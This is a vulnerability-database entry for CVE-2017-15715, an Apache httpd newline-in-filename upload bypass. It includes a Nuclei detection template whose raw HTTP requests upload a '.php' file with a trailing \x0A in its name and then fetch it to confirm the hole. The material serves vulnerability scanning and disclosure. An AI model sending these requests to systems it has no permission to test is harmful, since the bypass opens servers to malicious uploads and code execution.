CVE-2017-15715: Apache httpd <=2.4.29 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: Apache httpd | POC: 已公开

漏洞描述

Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.

PoC代码[已公开]

id: CVE-2017-15715

info:
  name: Apache httpd <=2.4.29 - Arbitrary File Upload
  author: geeknik
  severity: high
  description: Apache httpd 2.4.0 to 2.4.29 is susceptible to arbitrary file upload vulnerabilities via the expression specified in <FilesMatch>, which could match '$' to a newline character in a malicious filename rather than matching only the end of the filename. This could be exploited in environments where uploads of some files are externally blocked, but only by matching the trailing portion of the filename.
  impact: |
    An attacker can upload malicious files to the server, leading to remote code execution or unauthorized access.
  remediation: |
    Upgrade Apache httpd to a version higher than 2.4.29 or apply the necessary patches.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2017-15715
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - http://www.openwall.com/lists/oss-security/2018/03/24/6
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15715
    - http://www.securitytracker.com/id/1040570
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-15715
    cwe-id: CWE-20
    epss-score: 0.94104
    epss-percentile: 0.99902
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: http_server
    shodan-query:
      - cpe:"cpe:2.3:a:apache:http_server"
      - apache 2.4.49
  tags: cve,cve2017,apache,httpd,fileupload,vulhub,intrusive

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKc8fBVDo558U4hbJ

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"

        {{randstr_1}}

        ------WebKitFormBoundaryKc8fBVDo558U4hbJ
        Content-Disposition: form-data; name="name"

        {{randstr}}.php\x0A
        ------WebKitFormBoundaryKc8fBVDo558U4hbJ--
      - |
        GET /{{randstr}}.php\x0A HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip,deflate
        Accept: */*

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr_1}}")'
# digest: 4b0a00483046022100a73640645e237a0f4744e6148a4287a61af2c9426566d4064c44bd0ae50bb68d0221008f9b84b0109376f159fd0d8e0237c8922ec490039dd8ae664b98ff9d11d25849:922c64590222798bb761d5b6d8e72950

相关漏洞推荐